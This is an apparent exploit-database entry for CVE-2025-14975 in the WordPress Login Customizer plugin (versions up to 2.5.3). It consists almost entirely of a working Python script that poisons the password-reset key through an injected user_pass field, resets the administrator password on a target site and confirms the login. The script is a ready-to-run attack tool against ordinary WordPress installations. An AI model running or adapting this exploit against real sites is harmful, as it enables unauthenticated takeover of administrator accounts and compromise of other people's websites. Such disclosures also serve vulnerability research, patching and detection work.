📄 WordPress Login Customizer 2.5.3 Unauthenticated Account Takeover

#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Login Customizer <= 2.5.3 - Unauthenticated Administrator Account Takeover (Reset-Key Poisoning)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/login-customizer/
    # Software Link: https://downloads.wordpress.org/plugin/login-customizer.2.5.3.zip
    # Version: 2.5.3 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-14975
    r"""
    Login Customizer <= 2.5.3, when its "custom registration password" feature is enabled
    (enable_reg_pass_field != 'off') and registration is open, adds a global `random_password` filter
    (src/Settings/Features/Custom_Register_Password.php:33) that returns the attacker-supplied
    $_POST['user_pass'] whenever it is present (logincust_set_password()), with NO check that the flow is
    actually a registration.
    
    WordPress's get_password_reset_key() mints the reset key via wp_generate_password(), which runs the
    `random_password` filter. Triggering a password reset for `admin` while sending user_pass forces the
    stored reset key to an attacker-chosen value; the attacker then completes the reset with that known
    key and sets a new administrator password -> full account takeover, unauthenticated.
    
    Prior state: plugin active with enable_reg_pass_field on + users_can_register=1.
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--admin", default="admin")
        ap.add_argument("--key", default="Lckey1234567890abcd")
        ap.add_argument("--newpass", default="LcPwned!2026")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
        s.get(base + "/wp-login.php?action=lostpassword")
        s.post(base + "/wp-login.php?action=lostpassword",
               data={"user_login": args.admin, "user_pass": args.key,
                     "wp-submit": "Get New Password", "redirect_to": ""}, allow_redirects=True)
        s.get(base + "/wp-login.php?action=rp&key=%s&login=%s" % (args.key, args.admin), allow_redirects=True)
        s.post(base + "/wp-login.php?action=resetpass",
               data={"pass1": args.newpass, "pass2": args.newpass, "rp_key": args.key,
                     "user_pass": args.key, "wp-submit": "Save Password"}, allow_redirects=True)
        a = requests.Session(); a.verify = False
        a.get(base + "/wp-login.php"); a.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        lr = a.post(base + "/wp-login.php", data={"log": args.admin, "pwd": args.newpass,
                    "wp-submit": "Log In", "redirect_to": base + "/wp-admin/", "testcookie": "1"},
                    allow_redirects=False)
        logged = "wordpress_logged_in" in lr.headers.get("Set-Cookie", "")
        print(f"[*] Target: {base} | victim: {args.admin} | forced key: {args.key}")
        print(f"[*] login as {args.admin} with attacker password: {logged}")
        if logged:
            print(f"\n[+] ACCOUNT TAKEOVER CONFIRMED — administrator '{args.admin}' reset by an "
                  f"unauthenticated attacker; logged in as administrator.")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())